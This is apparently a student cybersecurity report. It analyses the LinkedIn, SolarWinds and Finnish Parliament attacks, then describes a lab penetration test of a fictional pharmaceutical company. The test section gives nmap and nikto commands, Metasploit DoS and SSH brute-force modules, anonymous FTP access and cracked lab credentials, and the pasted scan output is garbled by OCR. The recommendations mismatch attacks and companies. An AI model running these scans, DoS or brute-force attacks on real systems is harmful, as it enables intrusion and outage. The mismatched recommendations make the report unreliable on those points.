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[bookmark: _heading=h.55fgxgx0turm]Task 1
[bookmark: _heading=h.2xcytpi]Introduction
The threat of cyber-attacks has increased significantly over the past few years and these attacks pose a threat to businesses, organizations and institutions. Cybercrime costs global economies a great deal of money. Cybercrime was expected to cost the UK 320 billion dollars annually as of 2023. By 2028, this amount is expected to rise to more than 1.82 trillion US dollars [1]. The UK experienced the greatest losses from cybercrime in 2022 compared to other European markets and the US, with an average of 4.21 million US dollars lost due to a data breach [1]. Three notable cyber-attacks that have gained attention in recent years are the 2021 LinkedIn attack, the SolarWinds attack, and the 2023 Ring company’s ransomware attack. These mentioned cyber-events have prompted the need for in-depth investigation and analysis. The main aim of this report is to investigate the details of these attacks, critically assess their impact, and evaluate the measures that could have potentially prevented them.
[bookmark: _heading=h.1ci93xb]LinkedIn 2021 Attack
	The LinkedIn attack carried out by hacker “God User” in June 2021 was a significant breach with far-reaching implications. Unauthorized access gained by hackers resulted in the sensitive information of millions of LinkedIn users being compromised (approximately 700 million LinkedIn users' (90% of the total users) data has been compromised in this incident). The attack was not a traditional data breach but rather a large-scale data scraping operation [5]. The sensitive information included user profiles, contact details, and potentially sensitive professional data. This cyber incident raised significant concerns about data privacy and security within the professional networking platform. A third party misused LinkedIn's API in order to gain millions of users' personal information, potentially risking user and business security. According to LinkedIn, rather than a data breach, the data leak was the consequence of data scraping and aggregation from multiple sources. They claim that only publicly accessible member profile data along with information from various websites and businesses was exposed, not any private member data.

The financial repercussions of the attack were substantial, with LinkedIn facing heavy legal costs, fines, and compensation claims from affected users. The exact financial impact of the attack is estimated to have run into millions of dollars, considering the scale of the breach and the resulting legal and remediation expenses. In addition to this, the reputational damage suffered by LinkedIn as a consequence of the breach damaged user trust and confidence in the platform, which impacted the company's user base and market value. Following the incident, LinkedIn has removed more than 11.9 million fake accounts from the platform, and shortly after the company removed another 4 million fake users before being reported by other users [5]. 

Apart from the financial and reputational consequences, the attack highlighted the vulnerability of large online platforms to advanced cyber threats. It highlighted how important it is to have strong cybersecurity protections in place in order to protect user data, not just on LinkedIn, but on all other similar digital platforms.  In today's connected digital world, this attack serves as a reminder of how important it is to prioritize cybersecurity and take practical security measures in order to protect user’s sensitive data. This cyber incident highlights the need for constant vigilance and investment in advanced threat detection technologies to mitigate the risks associated with such complex cyber threats.


[bookmark: _heading=h.3whwml4]SolarWinds Attack
	The SolarWinds attack, discovered in 2020 and continuing into 2021, was a highly sophisticated cyber espionage campaign that targeted SolarWinds, which is a major provider of IT management software [2]. The attack was carried out by a group believed to be affiliated with the Russian government, known as APT29 or Cozy Bear [3]. This group gained unauthorized access to SolarWinds' software development environment and injected malicious code into updates for the Orion platform, a popular network monitoring product [4]. The attackers used a method known as a supply-chain attack, where they compromised the infrastructure of SolarWinds and then used that access to produce and distribute trojanized updates to the software’s users [4]. As customers downloaded the Trojan Horse installation packages from SolarWinds, attackers were able to access the systems running the SolarWinds product [4]. This cyber-attack was exceptionally complex and continues to evolve [3].
The financial impact of the attack was significant. The October quarterly report from SolarWinds stated that the Orion breach cost the company $40 million in the first nine months of 2021 [6]. The attack also highlighted the difficulties in detecting and mitigating supply chain attacks, highlighting the necessity of better security measures and inspection of third-party software suppliers. The SolarWinds attack affected many government and private sector businesses, indicating its wide reach. The attack had a wide range of victims, including government agencies, consulting firms, technology companies, telecom entities, and extractive entities in North America, Europe, Asia, and the Middle East [3]. SolarWinds stated that its customers included 425 of the US Fortune 500, the top ten US telecommunications companies, the top five US accounting firms, all branches of the US Military, the Pentagon, the State Department, as well as hundreds of universities and colleges worldwide [3].
As a result of the SolarWinds breach, governments, organizations and cybersecurity professionals around the world have strengthened their efforts to strengthen security protocols, increase network monitoring, and increase collaboration and information sharing in order to prevent similar attacks in the future. This incident served as a wake-up call for businesses and governments, highlighting the need for constant observance and robust cybersecurity measures in order to protect against complex threats.


[bookmark: _heading=h.2bn6wsx] Finnish Parliament Attack
	In August 2022, the Finnish Parliament was under a major cyber attack [7]. The attack was a Distributed Denial of Service (DDoS) that temporarily brought down the Parliament's external websites [8]. This type of attack overwhelms a network with traffic making it impossible for its intended users to access it [7]. A Russian hacker group identified as NoName057 took responsibility for the attack [8]. It is pro-Russian and has been involved in several other cyber attacks [8]. The timing of the attack was notable, as it overlapped with the United States' move to admit Finland to NATO [9]. This led to speculation that this was politically motivated and meant to be a protest against Finland’s bid to join NATO [9]. There were serious consequences resulting from this attack on the Finnish Parliament. First, it disrupted the activities of the Parliament since the site was temporarily offline [7.] This may have made it hard for members of parliament to communicate effectively with their constituents or carry out their work properly. Second, this act might have exposed some loopholes in terms such as security measures taken by parliamentarians [7]. Although no evidence showed any unauthorized access or thefts occurred, disrupting these websites could reveal vulnerabilities exploited later by other hackers worldwide[7]. Other than this, the attack had potential reputational consequences for the Finnish Parliament. Trust in public institutions is essential, and a successful cyber attack can undermine this trust. If the public perceives that the Parliament cannot protect its own digital infrastructure, they may question its ability to protect the country's broader cyber infrastructure [7].


[bookmark: _heading=h.qsh70q]Critically evaluate the attacks
Distributed Denial of Service (DDoS)
Distributed Denial of Service (DDoS) attacks are a significant threat in the realm of cybersecurity [10]. According to [11], these attacks involve multiple compromised computers targeting a single system, causing a Denial of Service (DoS) attack . 
[image: https://www.f5.com/content/dam/f5-labs-v2/article/articles/edu/20190605_what_is_a_ddos/DDoS_attack.png]
A DDoS attack has as its primary objective, making an online service unavailable by overwhelming it with traffic from multiple sources [10]. The size and complexity of DDoS attacks have increased significantly over the years. According to [10], attackers are continually updating their skill strategies which make it difficult for traditional detection mechanisms to detect novel DDoS attacks. Whereas the overall number of DDoS attacks experienced a slight decline compared to 2020, the size and complexity of these attacks increased significantly [10]. This implies that although the frequency of attacks may have reduced, the potential damage caused by each attack has risen. As per a study conducted by [12], there are three types of DDoS attacks: volumetric, protocol or application-based ones [12]. Volume based attacks aim at consuming the bandwidth of the attacked site or saturate the victim’s network [12]. Protocol-based attacks however seek to consume all processing capacity available in an intermediate critical resource like firewall through exploiting weaknesses within layer 3 and 4 protocols stack. Application layer attacks, the third type, aim to exhaust the processing capacity of the web server itself [12]. According to a report [13], in 2021, TCP DDoS attacks almost doubled compared with 2020 and accounted for 27% of all attacks. TCP DDoS attacks exploit the Transmission Control Protocol (TCP), which is one of the main protocols in the Internet protocol suite [14]. These attacks can be particularly damaging as they can disrupt the transmission of data between applications. 
Data scraping attack
Data scraping involves importing data from websites into files or spreadsheets [15]. This method of extracting information from web pages is often used for malicious purposes such as content reselling or price undercutting [15]. 
[image: https://static.javatpoint.com/python/images/web-scraping-using-python.png]
Scraping attacks contain three main phases: Target URL address and parameter values: Web scrapers identify their targets and make preparations to limit scraping attack detection by creating fake user accounts, masking their malicious scraper bots as good ones, obfuscating their source IP addresses, and more [16]. 
[image: https://datadome.co/wp-content/uploads/OAT-011-scraping.png]
A study conducted by [17] stated that Data scraping attacks have become increasingly common in recent years, with attackers using advanced techniques to gather large amounts of data from different websites and online platforms. These can result in serious consequences, including personal information misuse, undermining competitive advantage as well as legal issues among others. The process of data scraping involves several steps. First and foremost, the attacker identifies the target which can be a particular website or an online platform [18]. Then they prepare themselves before launching an attack through creating fake user accounts, masking their malicious scraper bots as legitimate ones and hiding their source IP addresses so that they cannot be detected easily by anyone who might be watching out for any suspicious activities taking place on his/her computer screen. After all these preparations are done, then it means that an attacker is now capable enough to use a computer program which allows them to extract data from another web page without any permission. This data can include a wide range of information, such as user profiles, product listings, and pricing information. Finally, what happens next is that this extracted information often gets used for malicious purposes such as reselling the data or details and for undercutting prices. 
Supply Chain Attacks:
A supply chain attack refers to when someone uses an outside provider or partner that has access to an individual's data and systems to infiltrate the digital infrastructure [19]. As the third party has been granted authorization to use certain sections of your network, applications, or sensitive information, the attacker just needs to either penetrate/hack into their defenses or program a loophole in a vendor’s solution to compromise the system [19]. 
[image: ]
Supply chain attacks are diverse, impacting large companies, such as the case observed during Target security as well as typically dependable systems, like when automated teller machine (ATM) malware is used to steal cash [20]. According to [21], supply chain attacks have become a significant concern within cybersecurity. These attacks exploit the trust relationships established between organisations and their suppliers/partners, allowing hackers to penetrate networks/systems that would otherwise be difficult to breach into. In a supply chain attack, the victim’s data and systems are accessed by targeting a third-party provider/partner [22]. This could be either a software vendor, hardware manufacturer or service provider. The attacker then either penetrates the third party's defences or programs a loophole into a solution offered by the vendor to infiltrate the victim's system. Supply chain attacks can have far-reaching implications. According to [23], they can lead to the unauthorised access and theft of sensitive data, disrupt operations, and cause significant financial and reputational damage. Furthermore, because these attacks exploit trusted relationships, they can be difficult to detect and defend against.
[bookmark: _heading=h.3as4poj]Countermeasure
	Countermeasures to Prevent Attacks

	DDoS Attacks
	A multi-faceted approach is required for preventing DDoS attacks [24]. One of the most effective methods is to increase network security, including firewalls and intrusion prevention systems [25]. Additionally, organisations with a DDoS response plan can respond quickly and effectively when an attack occurs. Other strategies involve scaling up bandwidth to handle increased traffic, using anti-DDoS hardware and software, and moving to the cloud [26]. Also, monitoring network traffic patterns as well as recognizing the pattern of an attack can help detect them early.

	Data Scraping Attacks
	Preventing data scraping attacks requires both technical and legal actions. Technically, the use of measures such as IP blocking, CAPTCHA, user behaviour analysis helps businesses identify and prevent scraping activities [27]. On the legal side, businesses can include clauses in their terms of service that prohibit data scraping [28]. In addition to this, businesses may utilise honeytokens - decoy data assets that alert companies to potential breaches within their networks [29].

	Supply Chain Attacks
	Preventing supply chain attacks involves securing privileged access management, implementing a Zero Trust Architecture (ZTA), and assuming that a data breach will occur [30]. Other strategies include identifying all potential insider threats, identifying and protecting vulnerable resources, minimising access to sensitive data, and implementing strict Shadow IT rules. Other than this, businesses can use honeytokens, which act like tripwires that alert organisations of suspicious activity in their network [31].


[bookmark: _heading=h.674satz61gfj]Recommendations to the Businesses
In order to prevent DDoS assaults, the Finnish Parliament can strengthen network security, develop a DDoS response strategy, increase bandwidth, use anti-DDoS hardware and software, and monitor network traffic patterns.
Coming to SolarWinds, the organisation can prevent data scraping attempts by using IP blocking, CAPTCHA, user behaviour monitoring, and honeytokens. They should also include provisions in their terms of service that discourage data scraping.
Finally, LinkedIn can secure privileged access management, implement a Zero Trust Architecture (ZTA), anticipate data breaches, detect insider threats, safeguard susceptible resources, limit access to sensitive data, enforce Shadow IT regulations, and use honeytokens for detection.
[bookmark: _heading=h.nopbiq6f6zgn]Task 2
[bookmark: _heading=h.30j0zll]This task is focused on Cureton Pharmaceutical Company (CPC) conducting a multi-layered, full-scope cyber attack simulation, and this paper offers the results and analysis. The goal of this simulation was to determine the effectiveness of CPC's system and infrastructure security controls. Potential risks, attack vectors, significant vulnerabilities, and techniques of exploitation were found by designing and implementing a virtualized duplicate of the production environment. This research paper provides a complete summary of the attack simulation results, with frameworks such as MITRE ATT&CK and OWASP Top 10 serving as reference points for different attack types. The analysis is based on thorough study, with proper citations to support the debates.
[bookmark: _heading=h.1pxezwc]Contingency Plan for the Penetration Test
Purpose of Contingency plan
The purpose of this contingency plan is to develop and highlight guidelines that need to be followed by penetration testers while conducting penetration testing on the internal network of Cureton Pharmaceutical Company (CPC) [40]. The main aim of the policy is to safely conduct the penetration testing and while ensuring confidentiality and integrity of CPC’s assets.
Scope 
This policy is applicable to all the individuals involved in the penetration testing, critical assets of the organisation and other relevant personnel.
Pre-Testing Preparation
· A written agreement must be signed by the CPC organisation and Penetration testing team which includes scope, objective and limitation of the penetration testing.
· Proper authorization to access all the critical systems in the scope of penetration testing must be obtained from the CPC management. 
· Each and every member of the penetration tester must be aware of their roles and responsibility in order to conduct ethical penetration testing.
· A detailed plan must be developed for the penetration testing and it must be followed to mitigate any potential risks that could arise during the penetration test.
· Penetration testing must be conducted in a simulated or controlled network environment to avoid the execution of exploits to other systems. This can be done by replicating the CPC’s internal systems and services using appropriate tools.
Testing and Execution
· All the data of the organisation including system data, configuration data or confidential data must be backed up on a separate server or in the cloud to avoid data loss.
· Rules of engagement such as access to only required systems, use of only specified exploits and tools must be defined in the agreement to stay within the scope of penetration testing [41].
· Only legitimate penetration testing tools must be utilised to perform automated as well as manual vulnerability analysis.
Reporting
· A detailed report of the penetration testing including methodologies and key findings must be created.
· Detailed analysis of the vulnerabilities must be included in the report to highlight their severity levels and impact on the CPC organisation.
· Proper mitigation controls must be defined to remediate the identified vulnerabilities including vulnerability prioritisation.
Post-Testing Activities
· Penetration testing team must collaborate with CPC’s cybersecurity management to clearly communicate and present the plan of action to implement mitigation controls.
· Policy must be periodically reviewed to incorporate emerging practices and business changes.
[bookmark: _heading=h.49x2ik5]Penetration Testing Framework
The Penetration Testing and Execution Standard (PTES) framework developed here outlines an organised approach to successfully executing penetration testing on digital systems such as servers and smart devices. This framework will be used in the context of CPC, to conduct penetration tests on its network infrastructure. CPC attempts to ensure a rigorous and systematic approach to discovering vulnerabilities inside their systems by adhering to the PTES-defined standards.–
· Pre-Engagement Interaction – During this phase, the CPC will engage with the penetration testing team and provide necessary permissions for conducting the tests. This step ensures proper coordination and authorization for the testing activities.
· Intelligence Gathering – During this phase,information about CPC's internal network and systems will be collected. This ensures that the testing team gains insights into the organization's infrastructure, which aids in identifying potential entry points for malicious actors.
· Threat Modelling – This phase defines an appropriate threat modelling approach to conduct penetration testing efficiently. Threat model represents the threats and their capabilities which are required to be identified for vulnerability analysis.
· Vulnerability Assessment – In this phase, vulnerabilities will be identified in the systems or devices which are defined in the scope of penetration testing. 
· Exploitation – In this phase, identified vulnerabilities are exploited using multiple tools to penetrate into systems.
· Post Exploitation – In this phase, the control gained over the systems by exploiting vulnerabilities is maintained and lateral movement is performed to find other systems and valuable information. 
· Reporting – This is the end phase of the penetration testing which defines the process of documenting the entire penetration process so that it is understandable by the client.
The above mentioned phases of PTES framework is used to conduct penetration testing and vulnerability assessment on the network of CPC organisations.
[bookmark: _heading=h.2p2csry]Penetration Testing Tools
There are multiple penetration testing tools available including open source and commercial. Such tools are used in the penetration testing process to automate some tasks such as executing a script to find service versions running in the operating system or executing a DDoS attack. Some of the penetration testing tools used for conducting PenTest are as follows– 
NMAP – NMAP is a network mapper tool which is used to scan networks to find available hosts including service version and operating system [36]. NMAP is capable of executing automated scripts using the NMAP scripting engine. NMAP scripts use Lua programming language for creating multiple scripts to find vulnerabilities in the host.  
Nikto – Nikto is an open source web server scanner which is used to perform multiple tests against web servers to find potentially dangerous files or programs [37]. Nikto scanner is designed to generate network traffic against the target to extract information, therefore, it can be detected by monitoring systems to block Nikto traffic.
Nessus – Nessus is an automated vulnerability scanner which automates the vulnerability analysis process in the penetration testing [38]. Multiple versions of Nessus are available but in this penetration testing, Nessus essential is used which provides all the basic features set to identify critical and informational vulnerabilities. 
MSFCONSOLE – MSFCONSOLE is a widely used penetration testing tool developed by rapid7 organization to automate the process of exploitation phase in the penetration testing [39]. MSFCONSOLE is a command line tool which comes preinstalled with popular offensive security Linux distributions such as Kali Linux, ParrotOS and more.
[bookmark: _heading=h.147n2zr]Penetration Testing
The penetration testing conducted by the Red Team used the PTES framework to identify critical vulnerabilities in the internal network of the CPC organisation. Multiple vulnerabilities have been identified along with CVE ID, impact and severity level. Nessus, NMAP, Nikto and Metasploit tools were used to exploit the vulnerabilities and gain system access.
[bookmark: _heading=h.3o7alnk]Vulnerability Analysis 
In the intelligence gathering phase of the penetration testing, multiple vulnerabilities were found in the internal server of CPC. Identified vulnerabilities along with severity, impact, CVE ID and Vulnerable service are mentioned below–
	Vulnerability
	CVE ID
	Vulnerable Service
	Impact
	CVSS Version (Severity)

	Disabled DHE_EXPORT ciphersuite on client side application
	CVE-2015-4000
	TLS Protocol 1.2 and earlier
	Allows attackers to execute Man-in-the-Middle Attack
	3.7 (Low)

	Vulnerable byterange filter in Apache HTTP
	CVE-2011-3192
	Apache HTTP Server 1.3.x, 2.0.x through 2.0.64
	Allows attackers to execute denial of service attack
	7.8 (High)

	Anonymous access configured in FTP
	CVE-1999-0497
	FTP 1.3.1
	Allows attackers to login to FTP server anonymously
	0.0 (Low)

	Remote Code Execution
	CVE-2002-0082
	SSL and Apache-SSL
	Allows attackers to remotely execute arbitrary codes on server
	7.5 (High)

	Information Disclosure 
	CVE-2019-20372
	NGINX service < 1.17.7 
	Allows attacker to perform HTTP request smuggling to read unauthorized web pages
	5.3 (Medium)

	Heap based buffer overflow
	CVE-2012-0870
	Samba 3.0
	Allows attacker to perform denial of service and remote code execution
	7.9 (High)

	Weak hashing algorithm for SSL certificates
	CVE-2004-2761
	SSL 1.33
	Allows attackers to execute spoofing attacks 
	7.5 (High)

	Cross Site Request Forgery
	CVE-2020-13663
	Drupal Content Management System 7.31
	Allows attackers to perform unwanted actions on authenticated web pages
	8.8 (High)


The vulnerabilities which are targeted in the penetration testing are given below - 
1. Anonymous Access to FTP Server
2. Vulnerable byterange filter in Apache HTTP
[bookmark: _heading=h.23ckvvd]Attack Tools and Protocol Involved in the Attack
Tools which are used to perform cyber-attack against identified vulnerable services running in their systems are–
MSFConsole – MSF console is used to perform DDoS attacks using the auxiliary module (dos/http/apache_range_dos). This module sends DoS traffic to the vulnerable apache service until the service becomes unavailable or unreachable.
The same tool is also used to perform brute force attack against SSH service to extract username and password. The auxiliary module (scanner/ssh/ssh_login) is used to perform automated brute force attacks to get SSH credentials. The protocols which were involved in the attack are FTP, SSH and HTTP.
[bookmark: _heading=h.ihv636]Execution of the Attacks
The current network infrastructure of the CPC organisation is replicated in a virtualized environment. As shown in the below network diagram, CPC virtual server, host machine and Kali Linux virtual machine are configured and connected to a virtual network interface for connectivity. The cyber-attack will be performed using Kali Linux virtual machine with all attack tools pre-installed.
[image: ]
As shown in the below screenshot, bee-box and Kali Linux virtual machine were configured in Virtual Box. Appropriate hardware resources were assigned to both the virtual machines to efficiently perform cyber-attack.
[image: ]
NMAP tool was executed to find open ports on the target server (CPC Server) as shown in the below screenshot. The command “nmap 192.168.2.73” when executed, showed all the ports which were opened in the server along with service name.
[image: ]
To extract more information about the open ports, “nmap 192.168.2.73 –sV” command has been used to list open services along with the service version. The service version allows us to find vulnerabilities and exploits.
[image: ]
To identify open UDP ports on the server, “sudo nmap 192.168.2.73 –sU” command was executed. This command listed all the opened UDP ports along with corresponding running services as shown in the below screenshot.
[image: ]

After identifying all the open ports, services along with their corresponding version, NMAP scripting engine was then used to run automated scripts to find vulnerabilities in each identified vulnerability. Below screenshot shows the execution of NMAP script “vuln” using the command “sudo nmap –script vuln 192.168.2.73 –v”.
[image: ]
[image: ]
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[image: ]

After executing the “vuln” script of NMAP, the default script was then executed to extract more information about the services and operating system. Below screenshot shows the execution of the command “sudo nmap 192.168.2.73 –sV –A –sC –o scan.txt” command.
[image: ]

[image: ]
One of the tools listed above in this report was Nikto, which was then used against the web server running in the CPC server machine. Below screenshot shows the execution of the Nikto tool to find vulnerabilities in the web server using command “nikto –h 192.168.2.73”.
[image: ]
After executing the NMAP and Nikto tool, Nessus tool was configured to perform automated vulnerability analysis. Below screenshot shows the configuration panel where the IP address of the target was given. 
[image: ]
The host discovery process of the Nessus scanner showed the IP of the target server on which vulnerability analysis will be conducted.
[image: ]

Below screenshot shows the scan result which was categorized into hosts, vulnerabilities, remediation and history. There were a total of 174 informational, 16 low, 48 medium, 15 high and some critical vulnerabilities were identified by Nessus. 
[image: ]
Below screenshot shows the details of identified vulnerabilities along with CVSS score, VPR, count and scan details.
[image: ]

One of the identified critical vulnerabilities was heap based vulnerability as shown in the below screenshot. Additional information about the vulnerability was also given such as description, solution, severity, and more.
[image: ]
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The below screenshot shows the remediation action for the identified vulnerability. 
[image: ]
Another vulnerability identified by the Nessus was the use of a weak hashing algorithm for SSL certificates as shown in the below screenshot.
[image: ]
[image: ]
Another vulnerability called information disclosure was also identified by the Nessus scanner as shown below.
[image: ]
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The identified vulnerabilities were then exploited using msfconsole and FTP utility. As shown in the below screenshot, the ftp command is used to access the FTP server using anonymous username and empty password. The FTP server successfully allowed the anonymous login by which contents of the FTP server were listed using ‘ls’ command. The GET command was then executed to download the files stored in the FTP server.
[image: ]
The below screenshot showed that the file was successfully downloaded to the attacker’s PC without using any FTP user account.
[image: ]
The Metasploit tool was then used to perform further attacks against the CPC server. Earlier in the vulnerability analysis, denial of service vulnerability was found with CVE ID – 2011-3192, which was exploited using a metasploit tool as shown below. The RHOST IP address and RHOST Port was configured and then the attack executed using run command.
[image: ]
After executing the DDoS attack, brute force attack was then configured to be executed against SSH service by setting RHOST IP, Username and password file. As shown in the below screenshot, brute force attack successfully executed using and extracted the username and password of SSH service as root:bug and bee:bug.
[image: ]
After exploiting SSH service using brute force attack, ‘ls’ command was executed after creating a session with SSH to list the directories. As shown in the below screenshot, the username and password found was correct and able to grant access to the server.
[image: ]

[bookmark: _heading=h.32hioqz]Results of the Attacks
In this penetration testing, multiple attacks were executed against the CPC server which includes FTP, SSH and HTTP service. By performing anonymous login to the FTP server, all the files stored in the server were visible and downloadable. As shown in the execution of the FTP attack, GET command was used to download the FTP files successfully without authorization. 
Following this, the Denial-of-Service attack was executed where the apache HTTP server was flooded with malicious DDoS packets. The HTTP service becomes unavailable and unresponsive to accept new web requests from the client devices.
Finally, a brute force attack was then performed against SSH service. In this cyberattack, login credentials for the brute force were extracted which were then used to login to the server using SSH service. The full system access was then granted and any command can be executed on the server.
[bookmark: _heading=h.1hmsyys]Solutions for Discovered Threats and Vulnerabilities
Based on the results of the attacks performed, following are a few recommendations in order to secure the network:
FTP: It is crucial to use secure FTP protocols (such as SFTP) to encrypt data transmission and adequate authentication techniques to prevent unauthorized access [42]. Regularly examine and adjust user access permissions to reduce the risk of data exposure.
DoS Attack: In order to identify and neutralise DDoS attacks, deploy a robust network firewall and an intrusion detection/prevention system (IDS/IPS) [42]. The company should consider using traffic filtering and rate restriction techniques to detect and prevent malicious traffic. In addition, use cloud-based DDoS protection services to absorb and mitigate volumetric attacks.
Brute Force Attack: It is of utmost importance to Implement strong password policies that include difficult and frequently updated passwords [42]. Implement account lockout techniques after a certain number of failed login attempts to protect against brute force attacks. Consider adding multi-factor authentication (MFA) to improve the security of SSH access.
	Solution
	Mitigation of Vulnerability

	Disable weak keys on the client side by defining a minimum length for the Dffie helman keys.
	Man-in-the-Middle Attack due to insecure TLS protocol

	Update the Apache version to 2.2.21 or newer
	Denial of Service 

	Disable FTP Anonymous logins
	FTP Anonymous Access

	Configure the Web server to use a named location instead of using the error_page handler
	Information disclosure due to insecure configuration in NGINX server

	Update Drupal CMS to latest version
	CSRF due to insecure Drupal version

	Implement Firewall in the Network
	Detects and Block malicious network traffic to prevent DoS, Malware Attacks and more


[image: C:\Users\Harshraj Singh\Downloads\image (10).png]
The above network diagram showed some security enhancements in the network. A Cisco firewall is implemented in the network to filter malicious traffic to protect internal servers and machines of CPC organisations. Inbound and outbound firewall rules are configured to block metasploit traffic and payload transfers towards the internal systems.
[bookmark: _heading=h.41mghml]Cost Associated with Solutions
The cost of the solution is as follows:
1. Software and Hardware:
· Replacement of FTP server software with secure FTP protocols (SFTP): $500
· Deployment of network firewall and IDS/IPS solution: $2,000
· Cloud-based DDoS protection service subscription: $1,200/year
· Implementation of multi-factor authentication for SSH access: $1,000
2. Implementation:
· Configuration changes and software/hardware setup: 20 hours at an hourly rate of $100: $2,000
Cisco Firepower ASA 5525-X firewall is the perfect solution to filter network traffic to prevent multiple cyber threats. Approximate cost of this firewall is $3000.
[bookmark: _heading=h.2grqrue]Time Table for the Execution of Solution
Time table for the execution of the solutions to mitigate the vulnerabilities is given below – 
	Execution
	Time Period Required

	Replacement of FTP software:
	1 Week

	Deployment of network firewall and IDS/IPS solution
	2 Weeks

	Subscription to cloud-based DDoS protection service
	Immediate

	Implementation of multi-factor authentication for SSH access
	1 Week


[bookmark: _heading=h.u720w78ofz3g]Invoice for the Service
Invoice for Professional Service:
Cureton Pharmaceutical Company
123 Main Street
ABC, London, 1010110
Invoice Date: [Insert Date]
Description of Services:
Penetration Testing and Execution Standard (PTES) - Full Scope Cyber Attack Simulation
Hourly Rate: $100
Total Hours: 20
Subtotal: $2,000
Total Amount Due: $2,000
Please make the payment within 30 days of receiving this invoice. If you have any questions or require further clarification, please don't hesitate to contact us. Thank you for choosing our professional services.
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[(kali® kati)-[~]
$ nmap 192.168.2.73
Starting Nmap 7.92 ( https://nmap.org ) at 2024-01-03 05:40 CST
Nmap scan report for 192.168.2.73
Host is up (0.014s latency).
Not shown: 983 filtered tcp ports (no-response)
PORT  STATE SERVICE
21/tcp  open ftp
22/tcp  open ssh
25/tcp  open smtp
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
666/tcp open doom
3306/tcp open mysql
5901/tcp open vnc-1
6001/tcp open X11
8080/tcp open http-proxy
8443/tcp open https-alt
9080/tcp open glrpc

Nmap done: 1 IP address (1 host up) scanned in 5.12 seconds
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[L(kali® kati)-[~]
$ nmap 192.168.2.73 -sV.
sStarting Nmap 7.92 ( https://nmap.org ) at 2024-01-03 05:43 CST
Nmap scan report for 192.168.2.73
Host is up (0.0082s latency).
Not shown: 983 filtered tcp ports (no-response)

PORT  STATE SERVICE  VERSION
21/tcp  open ftp ProFTPD 1.3.1

22/tcp  open ssh OpenSSH 4.7p1 Debian Subuntul (protocol 2.0)
25/tcp  open smtp Postfix smtpd

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4

.6 PHP/5.2.4-2ubuntus with Suhosin-Patch mod_ss1/2.2.8 OpenSSL/0.9.8g)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
443/tcp open ssl/http  Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4
.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ss1/2.2.8 OpenSSL/0.9.8g)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
512/tcp open exec?

513/tcp open login?

514/tcp open tcpwrapped

666/tcp open doom?

3306/tcp open mysql MysQL 5.0.96-0ubuntu3
5901/tcp open vnc VNC (protocol 3.8)
6001/tcp open X11 (access denied)
8080/tcp open http nginx 1.4.0

8443/tcp open ssl/http  nginx 1.4.0

9080/tcp open http lighttpd 1.4.19

1 service unrecognized despite returning data. If you know the service/versio
n, please submit the following fingerprint at https://nmap.org/cgi-bin/submit
.cgiznew-service
SF-POTt666-TCP:V=7.92%1=7%D=1/3%Time=6595486A%P=x86_64-pc-1inux-gnuxr(Gene
CEeiod 3ol EEE WAk e s





image10.png
File Actions Edit View Help

[(kati®kati)-[~]
$ sudo nmap 192.168.2.73 -sU
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2024-01-03 06:00 CST
Nmap scan report for 192.168.2.73
Host is up (0.0017s latency).
Not shown: 991 filtered udp ports (port-unreach)
PORT  STATE SERVICE
 67/udp  open|filtered dhcps

68/udp  open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 1014.07 seconds

123/udp open ntp
137/udp open netbios-ns
| 138/udp open|filtered netbios-dgm
 161/udp open snmp
 177/udp open xdncp
 4500/udp open|filtered nat-t-ike

| 5353/udp open zeroconf

]

]

4

i® kali)-[~]
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(kali® kali)-[~]
L5 <ido nmap

script vuln 192.168.2.73 -v

Starting Nmap 7.92 ( https://nmap.org ) at 2024-01-04 00:26 CST

NSE: Loaded 105 scripts
Ns|
Initiating NSE at 00:26

for scanning.

Script Pre-scanning.

NSE Timing: About 40.00% done; ETC: 00:28 (0:00:48 remaining)

Completed NSE at 00:27,
Initiating NSE at 00:27
Completed NSE at 00:27,
Pre-scan script results
broadcast-avahi-do:
Discovered hosts:
224.0.0.251

34.365 elapsed

0.00s elapsed

After NULL UDP avahi packet DoS (CVE-2011-1002).
_ Hosts are all up (not vulnerable).

Initiating ARP Ping Scan at 00:27

Scanning 192.168.2.73 [1 port]

Completed ARP Ping Scan
Initiating Parallel DNS

Completed Parallel DNS resolution of 1 host. at 00

at 00:27, 0.07s elapsed (1 total hosts)
resolution of 1 host. at 00:27
7, 0.035 elapsed

Initiating SYN Stealth Scan at 00:27
Scanning 192.168.2.73 [1000 ports]

Discovered open port 25/tcp on 192.168.2.73
Discovered open port 8080/tcp on 192.168.2.73
Discovered open port 443/tcp on 192.168.2.73
Discovered open port 21/tcp on 192.168.2.73
Discovered open port 3306/tcp on 192.168.2.73
Discovered open port 22/tcp on 192.168.2.73
Discovered open port 139/tcp on 192.168.2.73
Discovered open port 445/tcp on 192.168.2.73
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http:

// wani . ietf .org/TfC/rfC2246. txt

Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
State: VULNERABLE
IDs: BID:74733 CVE:CVE-2015-4000
The Transport Layer Security (TLS) protocol contains a flaw that is
triggered when handling Diffie-Hellman key exchanges defined with
the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
to downgrade the security of a TLS session to 512-bit export-grade
cryptography, which is significantly weaker, allowing the attacker
to more easily break the encryption and monitor or tamper with
the encrypted stream.
Disclosure date: 2015-5-19
Check results:
EXPORT-GRADE DH GROUP 1
Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
Modulus Type: Safe prime
Modulus Source: Unknown/Custom-generated
Modulus Length: 512
Generator Length: 8
Public Key Length: 512
Reference:
https://cve.mitre.org/cgi-bin/cvenae. cgi?name-CVE-2015-4000
https://wm.securityfocus.con/bid/74733
https://weakdh.org
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80/tcp open http

http-csrf:

Spidering limited to: maxdepth-3; maxpagecount=20; withinhost=192.168.2.73
Found the following possible CSRF vulnerabilities:

Path: http://192.168.2.73:
Form id: user-login-form
Form action: /drupal/?q=nodesdestinatio

0/drupal/

/192.168.2.73:

0/phpmyadmin/

action: index.php

//192.168.2..73:80/phpmyadmin/
: input_username
Form action: index.php

Path: http://192.168.2.73:
user-login-form
